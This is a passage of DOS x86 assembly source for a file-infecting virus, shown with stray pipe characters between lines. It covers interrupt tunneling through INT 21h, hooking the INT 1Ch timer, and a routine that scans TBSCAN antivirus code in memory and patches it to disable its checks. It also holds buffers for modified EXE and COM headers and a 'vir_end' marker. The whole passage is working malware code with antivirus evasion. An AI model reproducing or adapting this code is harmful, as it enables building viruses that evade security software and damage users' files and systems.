|||
|
mov cx,[bp+4]
|
|||
|
mov cs:int_21_seg_o[bx],cx
|
|||
|
pop cx
|
|||
|
jmp tunnel
|
|||
|
|
|||
|
int_trace endp
|
|||
|
|
|||
|
program_terminate proc near
|
|||
|
cmp byte ptr cs:tbexecute_flag,0
|
|||
|
je tbscan_exit
|
|||
|
mov byte ptr cs:tbexecute_flag,0 ;Turn off tbscan execute
|
|||
|
mov byte ptr cs:done_flag,0 ;flag
|
|||
|
call unhook_1c ;Restore int 1C
|
|||
|
tbscan_exit:
|
|||
|
ret
|
|||
|
program_terminate endp
|
|||
|
|
|||
|
hook_int1c proc near
|
|||
|
pusha
|
|||
|
push es ds
|
|||
|
mov ax,0351ch
|
|||
|
call dos
|
|||
|
mov int_1c_off,bx
|
|||
|
mov bx,es
|
|||
|
mov int_1c_seg,bx
|
|||
|
lea dx,int1c
|
|||
|
mov ah,025h
|
|||
|
call dos
|
|||
|
mov tbexecute_flag,1
|
|||
|
pop ds es
|
|||
|
popa
|
|||
|
ret
|
|||
|
hook_int1c endp
|
|||
|
|
|||
|
int1c proc near
|
|||
|
cmp byte ptr cs:done_flag,1
|
|||
|
je exit_1c
|
|||
|
cmp byte ptr cs:tbexecute_flag,1
|
|||
|
jne exit_1c
|
|||
|
call convert_tbscan ;Patch TBSCAN with 'OWN'
|
|||
|
exit_1c:
|
|||
|
jmp dword ptr cs:int_1c_off
|
|||
|
int1c endp
|
|||
|
|
|||
|
unhook_1c proc near
|
|||
|
pusha
|
|||
|
push es ds cs
|
|||
|
pop ax ;ax= code seg
|
|||
|
xor bx,bx
|
|||
|
mov es,bx ;es= 0000h
|
|||
|
push es
|
|||
|
mov bx,word ptr es:timer_seg
|
|||
|
mov es,bx
|
|||
|
cmp bx,ax
|
|||
|
jne dont_unhook
|
|||
|
mov ax,word ptr cs:int_1c_seg
|
|||
|
mov bx,word ptr cs:int_1c_off
|
|||
|
pop es
|
|||
|
cli
|
|||
|
mov word ptr es:timer_seg,ax
|
|||
|
mov word ptr es:timer_seg-2,bx
|
|||
|
sti
|
|||
|
dont_unhook:
|
|||
|
pop ds es
|
|||
|
popa
|
|||
|
ret
|
|||
|
unhook_1c endp
|
|||
|
|
|||
|
convert_tbscan proc near
|
|||
|
pusha
|
|||
|
push es ds cs
|
|||
|
pop ax
|
|||
|
xor bx,bx
|
|||
|
mov es,bx
|
|||
|
mov bx,word ptr es:timer_seg ;Trace through INT 1c which is
|
|||
|
mov di,word ptr es:timer_seg-2 ;hooked by TBSCAN
|
|||
|
mov es,bx
|
|||
|
cmp bx,ax
|
|||
|
je exit_convert
|
|||
|
xor ax,ax
|
|||
|
lea si,replace
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
next_char2:
|
|||
|
inc ax
|
|||
|
mov cx,8
|
|||
|
push si
|
|||
|
rep cmpsb ;search for string 'DOS','OWN'
|
|||
|
pop si ;within TBSCAN while it is in
|
|||
|
je found_dos ;memory doing it's thing.
|
|||
|
cmp ax,0fffeh
|
|||
|
je exit_convert
|
|||
|
jmp next_char2
|
|||
|
|
|||
|
found_DOS:
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
sub di,8
|
|||
|
mov si,di
|
|||
|
add si,4
|
|||
|
mov cx,3
|
|||
|
rep movsb
|
|||
|
mov byte ptr cs:done_flag,1
|
|||
|
exit_convert:
|
|||
|
pop ds es
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
; Search Data
|
|||
|
replace db 'DOS',0,'OWN',0
|
|||
|
done_flag db 0
|
|||
|
convert_tbscan endp
|
|||
|
|
|||
|
Getcpu proc near ;Test CPU Type
|
|||
|
Pushf
|
|||
|
Pop AX
|
|||
|
Push AX
|
|||
|
And AX,0FFFh
|
|||
|
Push AX
|
|||
|
Popf
|
|||
|
Pushf
|
|||
|
Pop AX
|
|||
|
pop BX
|
|||
|
And AX,0F000h
|
|||
|
Cmp AX,0F000h
|
|||
|
ret
|
|||
|
getcpu endp
|
|||
|
|
|||
|
|
|||
|
HANDLE:
|
|||
|
|
|||
|
step1:
|
|||
|
data proc near
|
|||
|
db '=!Packed file is corrupt<70>'
|
|||
|
buffer db 17h dup(?) ;Modified EXE and Com header
|
|||
|
db 90h
|
|||
|
tbexecute_flag db 0
|
|||
|
trace_flag db ? ;Used for tunneling
|
|||
|
int_01_off dw ?
|
|||
|
int_01_seg dw ?
|
|||
|
int_1c_off dw ?
|
|||
|
int_1c_seg dw ?
|
|||
|
int_21_off_o dw ? ;Original INT 21
|
|||
|
int_21_seg_o dw ?
|
|||
|
int_21_off dw ? ;Chained INT 21
|
|||
|
int_21_seg dw ?
|
|||
|
new_seg dw ?
|
|||
|
old_date dw ?
|
|||
|
old_time dw ?
|
|||
|
buffer1 db 90h ;Original file header for
|
|||
|
mov ax,4c00h ;Com and Exe files
|
|||
|
int 21h
|
|||
|
db 11h dup(?)
|
|||
|
db 90h
|
|||
|
|
|||
|
data endp
|
|||
|
|
|||
|
vir_end:
|
|||
|
code ends
|
|||
|
end main
|